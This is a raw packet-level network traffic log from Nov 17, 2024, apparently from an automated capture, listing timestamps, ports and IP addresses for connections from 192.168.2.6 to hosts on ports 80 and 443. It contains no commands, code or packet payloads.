Nov 17, 2024 12:35:22.472340107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.472357035 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.472889900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472966909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.472982883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473005056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.473059893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473076105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473191977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473221064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.473552942 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.473747015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473804951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473844051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473963022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.473978043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474008083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474008083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474124908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474255085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474314928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474328995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474344015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474387884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474420071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474442005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474458933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474524021 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474524021 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474736929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474751949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474767923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474782944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.474824905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474824905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.474914074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.475214005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.477025986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.543001890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543018103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543035030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543050051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543071985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543097973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.543116093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.543247938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543263912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543278933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.543318987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.543318987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.589765072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.589809895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.589824915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.589962006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.589999914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.590001106 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.590043068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590094090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590109110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590181112 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.590233088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590251923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590430021 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.590440989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590455055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.590658903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.590958118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591052055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591063023 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591064930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591120005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591134071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591159105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591173887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591273069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591291904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591366053 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591442108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591507912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591522932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591658115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591694117 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591706991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591743946 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591758966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591892958 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.591914892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591929913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.591975927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.592163086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.592226982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.592242956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.592377901 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.592394114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.592410088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.592591047 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.659801006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659816027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659826040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659841061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659867048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.659924984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659940004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.659998894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.659998894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.660104036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.660171986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.660181046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.660264969 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.680232048 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.680730104 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.680741072 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.682295084 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.682301044 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.705317020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.707185030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707259893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707278013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707339048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.707369089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707384109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707420111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.707469940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707479954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707562923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707578897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707581997 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.707621098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.707669020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707684040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.707707882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708314896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708329916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708343983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708385944 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708412886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708427906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708442926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708472013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708472013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708507061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708590031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708604097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708628893 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708647966 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.708717108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708755016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708772898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.708826065 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.709099054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709160089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709175110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709284067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709299088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709331036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.709331989 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.709359884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709364891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.709450006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709465981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709497929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.709567070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709582090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.709646940 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.713958979 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.715301037 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.715351105 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.715852022 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.715866089 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.757373095 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.757750034 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.757772923 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.758183956 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.758189917 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.770509005 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.770929098 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.770961046 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.771339893 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.771349907 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.777215004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777261019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777276993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777338028 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.777442932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777458906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777574062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777590036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777631998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.777683973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777698994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.777755022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.777755022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.812009096 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.812179089 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.812248945 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.812382936 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.812382936 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.812401056 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.812412977 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.814897060 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.814933062 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.814994097 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.815119028 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.815125942 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.824238062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824290037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824304104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824321032 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.824366093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.824383020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824398041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824475050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824515104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.824615002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824681997 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.824703932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824719906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824759960 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.824821949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.824845076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825000048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.825632095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825685978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825701952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825757027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.825846910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825871944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825886965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825902939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.825917959 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.825959921 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826061964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826075077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826129913 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826142073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826163054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826265097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826267958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826283932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826299906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826323032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826348066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826348066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826390982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826406956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826513052 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826574087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826590061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826605082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826625109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826631069 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826709986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.826809883 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826811075 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.826991081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.827003956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.827150106 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.839915991 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.840574026 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.840635061 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.840692997 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.840692997 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.840732098 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.840756893 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.842770100 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.842820883 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.842945099 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.843094110 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.843122959 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.888366938 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.888622046 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.888688087 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.888725996 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.888725996 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.888741016 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.888751030 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.890736103 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.890764952 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.890866041 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.890996933 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.891011953 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.894330978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894355059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894365072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894499063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894510984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894512892 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.894524097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894548893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894560099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.894560099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.894634008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894689083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894737959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.894785881 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.894984961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.898828030 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.898967981 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.899033070 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.899100065 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.899117947 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.899137020 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.899143934 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.900985956 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.901072025 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.901144981 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.901271105 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:22.901303053 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:22.941684961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.941736937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.941747904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.941848040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.941924095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.941992044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942003012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942008972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942136049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942315102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942326069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942336082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942348957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942385912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942385912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942472935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942483902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942493916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942539930 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942847967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942910910 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.942914963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942924976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.942966938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.943046093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943094969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943196058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943206072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943264008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943279028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943341970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.943341970 CET	49751	80	192.168.2.6	185.215.113.16
